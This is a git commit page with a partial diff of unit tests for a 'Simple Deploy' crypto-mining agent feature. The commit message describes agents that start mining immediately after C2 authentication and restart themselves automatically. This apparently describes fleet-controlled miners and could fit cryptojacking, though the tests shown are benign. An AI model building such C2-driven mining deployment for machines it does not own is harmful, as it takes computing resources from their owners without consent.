Start simple-deploy mining immediately after C2 auth.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.
This commit is contained in:
AetherForge
2026-06-07 21:34:50 -07:00
parent 456988caaa
commit 9b2eafd583
9 changed files with 135 additions and 16 deletions

View File

@@ -3,6 +3,7 @@ import type { Agent } from '../types';
import {
agentsConnectedNotHashing,
simpleDeployStatus,
simpleDeployCalibrateFix,
simpleMinePreset,
} from './simpleDeploy';
@@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => {
});
});
describe('simpleDeployCalibrateFix', () => {
it('requires wallet in Calibrate', () => {
expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i);
});
it('surfaces pool fix from mining_block_reason', () => {
expect(
simpleDeployCalibrateFix(
agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }),
),
).toMatch(/pool/i);
});
});
describe('simpleMinePreset', () => {
it('disables spread and enables simple_deploy', () => {
const p = simpleMinePreset();